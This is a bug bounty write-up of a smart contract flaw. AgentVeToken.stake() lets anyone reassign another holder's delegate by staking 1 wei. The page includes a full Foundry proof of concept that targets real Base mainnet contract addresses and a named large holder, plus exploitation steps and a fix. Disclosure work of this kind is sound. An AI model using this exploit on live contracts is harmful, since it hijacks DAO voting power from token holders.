Anybody can control a user’s delegate by calling AgentVeToken.stake() with 1 wei
The stake function in AgentVeToken allows any caller to set the delegatee for an arbitrary receiver by staking a minimal amount (1 wei) of LP tokens. An attacker can thus become the delegate for multiple high-balance users, potentially gaining majority voting power in the AgentDAO and submitting malicious proposals.
BowTiedOriole Follow with 0x1982us, BlackAdam and 5 others
Originally disclosed on Code4rena
Submitted by BowTiedOriole, also found by 0x1982us, BlackAdam, chupinexx, Egbe, Ishenxx, natachi, and Pelz
AgentVeToken.stake() function will automatically update the delegatee for the receiver. A malicious user can stake 1 wei of the LP token, set the receiver to be a user with an high balance of the veTokens, and set themselves as the delegatee.
function stake(uint256 amount, address receiver, address delegatee) public {
require(canStake || totalSupply() == 0, "Staking is disabled for private agent"); // Either public or first staker
address sender = _msgSender();
require(amount > 0, "Cannot stake 0");
require(IERC20(assetToken).balanceOf(sender) >= amount, "Insufficient asset token balance");
require(IERC20(assetToken).allowance(sender, address(this)) >= amount, "Insufficient asset token allowance");
IAgentNft registry = IAgentNft(agentNft);
uint256 virtualId = registry.stakingTokenToVirtualId(address(this));
require(!registry.isBlacklisted(virtualId), "Agent Blacklisted");
if (totalSupply() == 0) {
initialLock = amount;
}
registry.addValidator(virtualId, delegatee);
IERC20(assetToken).safeTransferFrom(sender, address(this), amount);
_mint(receiver, amount);
_delegate(receiver, delegatee); // @audit-high Anybody can change delegate if they stake 1 wei LP
_balanceCheckpoints[receiver].push(clock(), SafeCast.toUint208(balanceOf(receiver)));
}
Since these are the tokens that are used as voting power in the AgentDAO, a malicious user can donate 1 wei to multiple users with high balances, receive a majority voting power, then submit a malicious proposal.
Recommended mitigation steps
Either remove the automatic call to _delegate or only do the call if sender == receiver.
Proof of Concept
Create a new foundry project, set BASE_RPC_URL, and run.
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import {Test, console} from "forge-std/Test.sol";
interface IERC20 {
function transfer(address to, uint256 amount) external returns (bool);
function mint(address to, uint256 amount) external;
function approve(address spender, uint256 amount) external returns (bool);
function balanceOf(address account) external view returns (uint256);
}
interface IAgentToken is IERC20 {
function distributeTaxTokens() external;
function projectTaxPendingSwap() external view returns (uint256);
function projectTaxRecipient() external view returns (address);
function setProjectTaxRecipient(address projectTaxRecipient_) external;
function setSwapThresholdBasisPoints(uint16 swapThresholdBasisPoints_) external;
function setProjectTaxRates(
uint16 newProjectBuyTaxBasisPoints_,
uint16 newProjectSellTaxBasisPoints_
) external;
}
interface IVeToken {
function stake(uint256 amount, address receiver, address delegatee) external;
function delegates(address account) external view returns (address);
}
interface IUniswapV2Router {
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
}
contract StakeDelegatePOC is Test {
IAgentToken agentToken = IAgentToken(0x1C4CcA7C5DB003824208aDDA61Bd749e55F463a3);
address agentPair = 0xD418dfE7670c21F682E041F34250c114DB5D7789;
IERC20 virtualToken = IERC20(0x0b3e328455c4059EEb9e3f84b5543F74E24e7E1b);
address bridge = 0x4200000000000000000000000000000000000010;
IUniswapV2Router router = IUniswapV2Router(0x4752ba5DBc23f44D87826276BF6Fd6b1C372aD24);
string BASE_RPC_URL = vm.envString("BASE_RPC_URL");
address user = makeAddr("user");
uint256 virtualAmount = 2000 ether;
function setUp() public {
uint256 forkId = vm.createFork(BASE_RPC_URL, 29_225_700);
vm.selectFork(forkId);
// Set up the user with virtual tokens
vm.prank(bridge);
virtualToken.mint(user, virtualAmount);
}
function test_malicious_stake_delegate_poc() public {
vm.startPrank(user);
virtualToken.approve(address(router), type(uint256).max);
agentToken.approve(address(router), type(uint256).max);
// Swap half of the virtual tokens to agent tokens
address[] memory path = new address[](2);
path[0] = address(virtualToken);
path[1] = address(agentToken);
router.swapExactTokensForTokens(virtualAmount / 2, 0, path, user, block.timestamp);
// Add liquidity to the pool to get LP tokens
router.addLiquidity(
address(virtualToken),
address(agentToken),
virtualAmount / 2,
agentToken.balanceOf(user),
1,
1,
user,
block.timestamp
);
address gameDeployer = 0xD38493119859b8806ff28C32c41fdd67Ef41b8Ef; // Main holder of veTokens
IVeToken veToken = IVeToken(0x974a21754271dD3d71a16F2852F8e226a9276b3E);
assertNotEq(veToken.delegates(gameDeployer), user);
// Stake 1 wei of LP for gameDeployer to update delegate
IERC20(agentPair).approve(address(veToken), 1);
veToken.stake(1, gameDeployer, user);
assertEq(veToken.delegates(gameDeployer), user);
}
}
Virtuals marked as informative
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
The stake function unconditionally calls _delegate(receiver, delegatee) without checking that the caller is the receiver, allowing anyone to change the delegate of any address.
Impact
An attacker could accumulate majority voting power by delegating multiple high-balance users to themselves, potentially enabling the submission of malicious proposals.
What the attacker needed
A small amount of LP tokens; knowledge of high-balance veToken holders
The fix
The automatic call to _delegate should be removed, or it should only be executed when the sender is the receiver.
How it was found
- Acquire a small amount of the LP token (e.g., by providing liquidity).
- Approve the veToken contract to spend 1 wei of the LP token.
- Call stake with amount 1, receiver set to a high-balance user, and delegatee set to the attacker's address.
- The delegate of the high-balance user is now the attacker.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
In this system, users can stake tokens to get voting power, and they can choose someone else to vote on their behalf (a delegate). The problem is that the staking function lets anyone set the delegate for any other user, even if that user didn't approve it. So an attacker can give a tiny amount of tokens to a rich user and become their delegate, then use that voting power to pass bad proposals.
What is Access control?
A user can do something their role should not allow: reach an admin function, act on a feature they have not paid for, or skip a permission check. IDOR is the special case where the object belongs to someone else.